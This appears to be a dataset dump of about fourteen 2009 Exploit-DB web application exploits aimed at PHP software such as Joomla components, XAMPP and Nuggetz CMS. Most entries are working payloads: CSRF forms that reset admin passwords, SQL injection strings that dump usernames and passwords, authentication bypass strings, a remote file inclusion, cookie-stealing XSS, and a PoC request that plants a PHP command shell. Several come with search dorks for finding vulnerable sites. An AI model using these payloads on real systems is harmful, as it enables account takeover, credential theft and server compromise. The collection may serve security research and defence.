QLWD/code_shield huggingface dataset:
标题: AccStatistics 1.1 - Cross-Site Request Forgery (Change Admin Settings) EDB-ID: 10406 CVE: 2009-4905 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-13 漏洞利用脚本: [-------------------------------------------------------------------------------------------------]
[   Title: AccStatistics v1.1 XSRF Vulnerability (Change Admin Settings)                          ]
[   Author: Milos Zivanovic                                                                       ]
[   Date: 13. December 2009.                                                                      ]
[-------------------------------------------------------------------------------------------------]

[-------------------------------------------------------------------------------------------------]
[   Application: AccStatistics                                                                    ]
[   Version: v1.1                                                                                 ]
[   Download: http://www.accstatistics.com/download/accstatistics.zip                             ]
[   Vulnerability: Cross Site Request Forgery                                                     ]
[-------------------------------------------------------------------------------------------------]

I've tested this on demo version where name attribute of submit button is 'preview'. I doubt that's
the name in the real thing. I don't know what is the name tag of it but it's usually 'submit' or
'save' (could be something other).

With this exploit we can change allot of stuff, but some of the most critical would be:
username, email, password...

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/accstatistics/demo/index.php" method="POST">
  <input type="hidden" name="p" value="edit1">
  <input type="hidden" name="id" value="1">
  <input type="hidden" id="input_username" name="input_username" value="admin">
  <input type="hidden" id="input_email" name="input_email" value="my@email.com">
  <input type="password" id="input_password" name="input_password" value="hacked">
  <input type="password" id="input_password1" name="input_password1" value="hacked">
  <input type="hidden" id="input_sitename" name="input_sitename" value="AccStatistics">
  <input type="hidden" id="input_ignoredomains" name="input_ignoredomains" value="">
  <input type="hidden" id="input_ignoremyvisits" name="input_ignoremyvisits" value="1">
  <input type="hidden" id="input_ignoresubdomenins" name="input_ignoresubdomenins" value="1">
  <input type="hidden" id="input_rowsperpage" name="input_rowsperpage" value="30">
  <input type="checkbox" id="input_reset" name="input_reset" value="1">
  <input type="submit" name="preview" value="Save">
</form>

[EXPLOIT------------------------------------------------------------------------------------------]

[----------------------------------------------EOF------------------------------------------------] URL: https://www.exploit-db.com/exploits/10406
标题: Acc PHP eMail 1.1 - Cross-Site Request Forgery EDB-ID: 10412 CVE: 2009-4906 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-13 漏洞利用脚本: ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 01000010 01101001 01001111

[#]----------------------------------------------------------------[#]
#
# [+] Acc PHP eMail v1.1 - [ CSRF ]
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Homepage : www.ssteam.ws
# [x] Thanks: packetdeath,,Zer0flag,redking and ssteam.ws ...
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
# [ CSRF ]
#
#  It Changes the password
#
#  http://localhost/mailinglist/index.php
#
# // Start CSRF
# <html>
# <form action="http://localhost/mailinglist/demo/index.php" method="POST">
# <input type="hidden" name="action" value="change">
# <input type="hidden" name="id" value="1">
# <input type="hidden" id="text" name="user" value="admin">
# <input type="password"  name="password" value="pass">
# <input type="password"  name="password1" value="pass">
# <input type="hidden" name="action" value="change1">
# <input type="submit" name="login" value="Modify">
# </form>
# </html>
# // End of attack
#
[#]------------------------------------------------------------------------------------------[#]

#EOF URL: https://www.exploit-db.com/exploits/10412
标题: B2C Booking Centre Systems - SQL Injection EDB-ID: 10393 CVE: 2009-4386 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-11 漏洞利用脚本: Name              B2D Booking Centre Systems
 Vendor            http://www.bookingcentre.eu

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2009-12-11

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 VI.   DISCLOSURE TIMELINE


I. ABOUT THE APPLICATION

Booking Centre Systems is a multilingual low cost and high
performance software solution for any Individual Hotel  or
Hotels Group or Portal Tourist.


II. DESCRIPTION

All  parameters  of  this  application  are  not  properly
sanitised and are affected to SQL Injection.


III. ANALYSIS

Summary:

 A) SQL Injection

A) SQL Injection

All parameters are not properly sanitised and in order to
exploit they, the Magic Quotes GPG may be On.


IV. SAMPLE CODE

http://site/hotel_tiempolibre_ext.php?HotelID=4&NoticiaID=-1 UNION ALL
SELECT 1,2,3,version(),5,user(),7,8,9%23


V. FIX

No patch. URL: https://www.exploit-db.com/exploits/10393
标题: Nuggetz CMS 1.0 - Remote Code Execution EDB-ID: 10378 CVE: 2009-4315 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-10 漏洞利用脚本: #######################################################################
 Remote Code Execution in Nuggetz CMS 1.0

 Name   Remote Code Execution in Nuggetz CMS
 Systems Affected Nuggetz CMS 1.0
 site   http://www.nuggetz.co.uk/
 Author   Amol Naik (amolnaik4[at]gmail.com)
 Date   10/12/2009
#######################################################################


############
 OVERVIEW
############

Nuggetz CMS 1.0 is vulnerable to Remote Code Execution.

######################
 Technical Details
######################

Vulnerable file: ajaxsave.php
Vulnerable Code:

<?php
 $save = str_replace('\"','"',$_POST['pagevalue']);

 $nugget = $_GET['nugget'];

 $fhandle = fopen("../data/$nugget.nuggetz",'w');
 // Write some data
 fwrite($fhandle,$save);
 fclose($fhandle);
 print $save;
?>

This file is used to save any changes done in nugget. The parameter 'nugget' is used to call the file 
for ex. support.nugget, which is at /web_dir/data/. The changed values are written back to the respective 
nugget. The parameters 'pagevalue' and 'nugget' are not properly sanitized. It is possible to create/edit 
files in the web server which leads to creating a new file with php command shell (RCE).

######
 PoC
######

The following request creates shell.php at /nuggetz/

POST /nuggetz/nuggetz/admin/ajaxsave.php?nugget=../../shell.php%00 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: PHPSESSID=4m2iiqdt0q38cna2iemtfel7p3
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

pagevalue=<?php passthru($_GET['cmd']); ?>


Shell Access:
http://localhost/nuggetz/shell.php?cmd=dir

#############
 WorkAround
#############

Upgrade to Nuggetz 1.0.1
Download:
http://www.nuggetz.co.uk/nuggetz_v1.0.1.zip


############
 Reference
############

http://www.nuggetz.co.uk/versionhistory.htm


############
 TimeLine
############

Bug discovered    : 09/12/2009
Informed Vendor   : 10/12/2009 
Vendor released new version : 10/12/2009
Public Disclosure  : 10/12/2009 URL: https://www.exploit-db.com/exploits/10378
标题: XAMPP 1.7.2 - Change Administrative Password EDB-ID: 10391 CVE: 2008-6498 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-11 漏洞利用脚本: # Title: XAMPP 1.7.2 Change Administrative Password
# Date: 11/12/2009
# Author: bi0
# Software Link: http://www.apachefriends.org/en/xampp-windows.html
# Version: 1.7.2
# Tested on: Windows XP / Windows Vista
# CVE : ()

                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/


[#]----------------------------------------------------------------[#]
#
# [x] XAMPP 1.7.2 Change Administrative Password
# [x] Author : bi0
# [x] Contact : bukibv@hotmail.com
# [+] Download : http://www.apachefriends.org/en/xampp-windows.html
#
[#]----------------------------------------------------------------[#]
#
# [x] Exploit :
#
#   At the older versions of xampp "xamppsecurity.php" was allowed
#   only for localhost but at version 1.7.2 i accessible by all
#
#   http://example.com/security/xamppsecurity.php
#
#   And you can change the .htacces user & pass and the phpMyAdmin pass
#
[#]----------------------------------------------------------------[#]

#EOF URL: https://www.exploit-db.com/exploits/10391
标题: E-Store - SQL Injection EDB-ID: 10384 CVE: 2008-6242 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-11 漏洞利用脚本: E-Store SQL Injection Vulnerability

 Name              E-Store
 Vendor            http://www.getaphpsite.com

 Author            Salvatore Fresta aka Drosophila
 Website           http://www.salvatorefresta.net
 Contact           salvatorefresta [at] gmail [dot] com
 Date              2009-09-03

X. INDEX

 I.    ABOUT THE APPLICATION
 II.   DESCRIPTION
 III.  ANALYSIS
 IV.   SAMPLE CODE
 V.    FIX
 VI.   DISCLOSURE TIMELINE


I. ABOUT THE APPLICATION

E-Store is a commercial PHP e-commerce.


II. DESCRIPTION

This application presents a SQL Injection bug.


III. ANALYSIS

Summary:

 A) SQL Injection

A) SQL Injection

The GET where parameter  passed to SearchResults.php has not
properly sanitised. Because of the affected query, the Magic
Quotes GPC flag (php.in) may be on.


IV. SAMPLE CODE

http://site/path/SearchResults.php?SearchTerm=&where=ItemName UNION
ALL SELECT 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16%23&ord1=ItemName&ord2=asc&search1=Go!


V. FIX

No patch. URL: https://www.exploit-db.com/exploits/10384
标题: Joomla! Component com_jsjobs 1.0.5.6 - SQL Injection EDB-ID: 10366 CVE: 2009-4599 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-10 漏洞利用脚本: ##########################################################################
## Joomla Component com_jsjobs Multiple SQL injection vulnerability  ##
## Author : kaMtiEz (kamzcrew@yahoo.com)    ##
## Homepage : http://www.indonesiancoder.com            ##
## Date : December 9, 2009       ##
##########################################################################

[ Software Information ]

[+] Vendor : http://www.joomshark.com/
[+] Download : http://www.joomsky.com/index.php?option=com_rokdownloads&view=file&task=download&id=23:js-jobs
[+] version : 1.0.5.6
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_jsjobs"
[+] LOCATION : INDONESIA - JOGJA
[+] Note : this extension have 2 categories .. free and commercial :D
[+] price : 20$

##########################################################################
[ HERE WE GO ... LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://server/index.php?option=com_jsjobs&c=jsjobs&view=employer&layout=view_company&vm=kaMz&md=[INDONESIANCODER]

http://server/index.php?option=com_jsjobs&c=jsjobs&view=employer&layout=view_job&vj=kaMtiEz&jobcat=Tukulesto&oi=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,@@version,666,666+from+jos_users--

-666+union+select+666,666,666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,666,version(),666,666,666,666,666,666,666,666,666,6666+from+jos_users--


##########################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,Jack- and YOU!!

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] selamat hari korupsi :D .. 
[+] Tukulesto : xpl terossssssssssss ... 
[+] Gh4mb4S : sabar yach .. pasti ada hasil .. hahhaa
[+] dimanakah keadilan di tanah airku tercinta ??

[ EOF ]
[+] INDONESIANCODER TEAM
[+] KILL -9 TEAM URL: https://www.exploit-db.com/exploits/10366
标题: Joomla! Component Mamboleto 2.0 RC3 - Remote File Inclusion EDB-ID: 10369 CVE: 2009-4604 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-10 漏洞利用脚本: /**************************************************************************

[!] Mamboleto Joomla! component Remote File Include Vulneralbility
[!] Author : Don Tukulesto (root@indonesiancoder.com)
[!] Homepage : http://www.indonesiancoder.com
[!] Date : December 10, 2009
[!] Tune In : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Vendor : http://www.fernandosoares.com.br/
[+] Download : http://www.fernandosoares.com.br/index.php?option=com_docman&task=doc_download&gid=35&Itemid=28
[+] Version() : 2.0 RC3
[+] Novo Mamboleto 2.0 RC3 para Joomla! 1.5.x em "legacy mode". 
    Muito mais aprimorado com dois bancos a mais  (Sicredi e Bancoob) e com um novo módulo de integração com o VirtueMart.
[+] Method : Remote File Inclusion
[+] Dork : Wie WiLL Not Go Down

===========================================================================

[ Vulnerable File ]

[+] mamboleto.php

Line 123

include_once( $mosConfig_absolute_path . '/administrator/components/com_mamboleto/include/pre.php');

[ Proof of Concept ]

http://server/acomponents/com_mamboleto/mamboleto.php?mosConfig_absolute_path=[INDONESIANCODER-666]

===========================================================================

[ Who The Hell Has Control of That Damn Smoke Machine ]

[~] INDONESIAN CODER TEAM - KILL-9 CREW - MainHack Brotherhood - ServerIsDown
[~] kaMtiEz, M3NW5, arianom, Contrex, tiw0L, Pathloader, abah_benu, Saint, Cyb3r_tr0n, M364TR0N, VycOd,
[~] Jack-, Yadoy666 + miya666, s4va, senot, Bayu5154, Gonzhack, Tucker, Ian Petrucii, Ronz & FeeLCoMz
[~] kecemplungkalen, ran, DraCoola Multimedia, XNITRO, rey_cute, Awan Bejat, Plaque, Gh4mb4s and YOU!!
[~] Thank you to ALL OF YOU called me piece of shit, especially for High school friends

[ rm -rf yourself ] 

[>] FOR MALINGSIAL


[ some quotes ]

[+] Jack- says : why so serious ?
[+] Yadoy666 says : awas ada tukang =))
[+] arianom says : Kumpulkan Koin untuk Prita Mulyasari !!!
[+] Pathloader says : Oke lah kalau beg... beg... beg... begitu :D
[+] tiw0L says : Ojo di maem pleaseeeeee!!! URL: https://www.exploit-db.com/exploits/10369
标题: Joomla! Component com_jphoto - 'id' SQL Injection EDB-ID: 10367 CVE: 2009-4598 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-10 漏洞利用脚本: ##########################################################################
## Joomla Component com_jphoto SQL injection vulnerability - (id) ##
## Author : kaMtiEz (kamzcrew@yahoo.com)    ##
## Homepage : http://www.indonesiancoder.com            ##
## Date : december 9, 2009       ##
##########################################################################

[ Software Information ]

[+] Vendor : http://www.corephp.com/
[+] About : http://www.corephp.com/jphoto/about.html
[+] Dork : inurl:"com_jphoto"
[+] LOCATION : INDONESIA - JOGJA
[+] price : -

##########################################################################

[ HERE WE GO ... LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://server/index.php?option=com_jphoto&view=category&id=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+666,concat_ws(0x3a,username,password),666,666,666,666,666,666,666,666,@@version,666,666+from+jos_users--


##########################################################################

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown
[+] tukulesto,M3NW5,arianom,tiw0L,Pathloader,abah_benu,VycOd,och3_an3h
[+] Contrex,onthel,yasea,bugs,olivia,Jovan,Aar,Ardy,invent,Ronz
[+] Coracore,black666girl,NepT,ichal,tengik,Gh4mb4s,rendy,Jack- and YOU!!

[ NOTE ] 

[+] Babe enyak adek i love u pull dah .. 
[+] selamat hari korupsi :D .. 
[+] syalalala ... 

[ EOF ]
[+] INDONESIANCODER TEAM
[+] KILL -9 TEAM URL: https://www.exploit-db.com/exploits/10367
标题: PHP Inventory 1.2 - Authentication Bypass EDB-ID: 10370 CVE: 2009-4597 2009-4596 2009-4595 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-10 漏洞利用脚本: #################################################################
#
# PHP Inventory v1.2 Remote (Auth Bypass) SQL Injection Vulnerabiity
# Found By: mr_me
# Download: http://www.phpwares.com/content/php-inventory
# Tested On: Windows Vista
# Note: For educational purposes only
#
#################################################################

First of all lets login to admin with:

http://[server]/php-inventory/index.php

username: ' or 1=1--
password: ' or 1=1--

The app is riddled with SQL Injection. For example:

http://[server]/php-inventory/index.php?sub=users&action=details&user_id=[SQLI]

SELECT * FROM `site_users` WHERE `user_id`='1003''You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near ''1003''' at line 1

This of course means you can do some slightly dodgy refected XSS:

http://[server]/php-inventory/index.php?sub=suppliers&action=details&sup_id=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://[server]/php-inventory/index.php?sub=suppliers&action=details&sup_id='><script>alert(document.cookie)</script>

I leave the exploiting up to the reader. URL: https://www.exploit-db.com/exploits/10370
标题: Real Estate Portal X.0 - Authentication Bypass EDB-ID: 10361 CVE: 2009-4613 2009-4600 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-09 漏洞利用脚本: ###############################
Real Estate Portal X.0 (Auth Bypass) Remote Sql Injection
Author : AnTi SeCuRe
Email : AnTi-SeCuRe@HoTMaiL.CoM
TeaM : SauDi ViRuS TeaM
Site : WwW.VxX9.Cc
###############################

~ Note :Its Not Free .. Its By : $199.00
~ IF You Want To Buy It : http://www.netartmedia.net/en_Pricing.html

[~] Demo : http://www.site.com/realestate20/
[~] username: admin' or '1=1
[~] password: Anti


[~] Thanks To : Allah

~ Greets : RENO , Dr.php , Jetli007 , Gov.Hacker , ! BaD BoY ! , TeaM SauDi ViRuS , All Members Of vxx9.cc , Tryag.cc URL: https://www.exploit-db.com/exploits/10361
标题: Alqatari group 1.0 < 5.0 - 'id' SQL Injection EDB-ID: 10357 CVE: 2009-3061 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-08 漏洞利用脚本: _ _ _ _  _ _ _   _ _ _ _    _ _ _    __  _ _ _ _               _____1337~h4x0rZ__   _        ___    ___
    /_/Rd_ _ /   _ _\/   _ _ /   \      \<   |/_ _   /         /\   |     \    /\  ||   \( )   /\  |  \  (| |
    \_ _ _ _/  /_ _ /  /      __ |  ()  / |  |  /   / [d0t]com/@~\  | (O) /   /+~\ ||_O_|( )  /0O\ |   \  | |
     _ _ _ _\  \_ _ \  \ _ _ _   |     \  |  | /   /_ _      /|__|\ |     \  /|__|\|| O |( ) /+__+\| ^  \ | |
   /_ _ _ _ _\ _ _ _/\ _ _ _ /   |__|\__\ |__|/_ _ _ _ _\   /\|  |/\|__|\__\( )  ( )|___/(_)/\|  |/\__\__\|_ >
       
    
==============================================================================
        [ª] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [ª]  Alqatari group Version 1.0 <== 5.0 (id) Remote SQL Injection Vulnerability
==============================================================================
    [ª] my home:             [ http://sec-r1z.com ]
    [ª] Script:              [ Alqatari group Version 1.0 ]
    [ª] Language:            [ PHP ]
    [ª] Founder:             [ ./Red-D3v1L ]
    [ª] Gr44tz to:           [ sec-r1z# Crew - Hackteach Team - my love :$ ]
    [ª] Fuck to :            [ All LamErZ And n00bz ]
########################################################################

===[ Exploit SQL ]===  

 [ª] [Path]/lesson.php?id=[SQL]

 [ª] Live dem0 : 

http://www.site.com/lesson.php?id=-258+union+select+concat%28c_pass,0x3e,c_user%29,2,3+from+q_config


Author: Red-D3v1L <-

########################################################################### URL: https://www.exploit-db.com/exploits/10357
标题: Viscacha 0.8 Gold - Persistent Cross-Site Scripting EDB-ID: 10354 CVE: 2009-4567 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-08 漏洞利用脚本: #################################################################
#
# Viscacha 0.8 Gold persistant XSS vulnerability
# Found By: mr_me
# Download: http://www.viscacha.org/
# Tested On: Windows Vista
# Note: For educational purposes only
#
#################################################################

POC Info:

A regular user of the board can embed javascript code that could be executed within the context of the admin's browser.
If the user edits their own profile by going to "http://[server]/viscacha/editprofile.php?action=profile"
and places "<script>alert(document.cookie)</script>"
into the instant messenger fields and then gives the following link to the admin:

http://[server]/viscacha/profile.php?action=ims&type=msn&id=1

The user could potentially log the admins cookie and reset their own session thus gaining administration access. URL: https://www.exploit-db.com/exploits/10354
标题: AlefMentor 2.0 < 5.0 - 'id' SQL Injection EDB-ID: 10358 CVE: 2009-4256 类型: WEBAPPS 平台: PHP 发布日期: 2009-12-08 漏洞利用脚本: _ _ _ _  _ _ _   _ _ _ _    _ _ _    __  _ _ _ _               _____1337~h4x0rZ__   _        ___    ___
    /_/Rd_ _ /   _ _\\/   _ _ /   \\      \\<   |/_ _   /         /\\   |     \\    /\\  ||   \\( )   /\\  |  \\  (| |
    \\_ _ _ _/  /_ _ /  /      __ |  ()  / |  |  /   / [d0t]com/@~\\  | (O) /   /+~\\ ||_O_|( )  /0O\\ |   \\  | |
     _ _ _ _\\  \\_ _ \\  \\ _ _ _   |     \\  |  | /   /_ _      /|__|\\ |     \\  /|__|\\|| O |( ) /+__+\\| ^  \\ | |
   /_ _ _ _ _\\ _ _ _/\\ _ _ _ /   |__|\\__\\ |__|/_ _ _ _ _\\   /\\|  |/\\|__|\\__\\( )  ( )|___/(_)/\\|  |/\\__\\__\\|_ >
       
    
==============================================================================
        [ª] ~ Note : Hacker R0x Lamerz Sux !
==============================================================================
        [ª]  AlefMentor 2.0  <== 5.0 (id) Remote SQL Injection Vulnerability
==============================================================================
    [ª] my home:              [ http://sec-r1z.com ]
    [ª] Script:                    [ AlefMentor 2.0 ]
    [ª] Language:             [ PHP ]
    [ª] Download             [ http://alefmentor.mac.findmysoft.com/ ]
    [ª] Founder:               [ ./Red-D3v1L ]
    [ª] Gr44tz to:             [ sec-r1z# Crew - Hackteach Team - my love :$ ]
    [ª] Fuck to :               [ All LamErZ And n00bz ]
########################################################################

===[ Exploit SQL ]===  

 [ª] [Path]/cource.php?action=pregled&cont_id=[SQL]

 [ª] Live dem0 : 

http://www.site.com/am/cource.php?action=pregled&cont_id=21&courc_id=-2+union+select+version%28%29--


Author: Red-D3v1L <-

########################################################################### URL: https://www.exploit-db.com/exploits/10358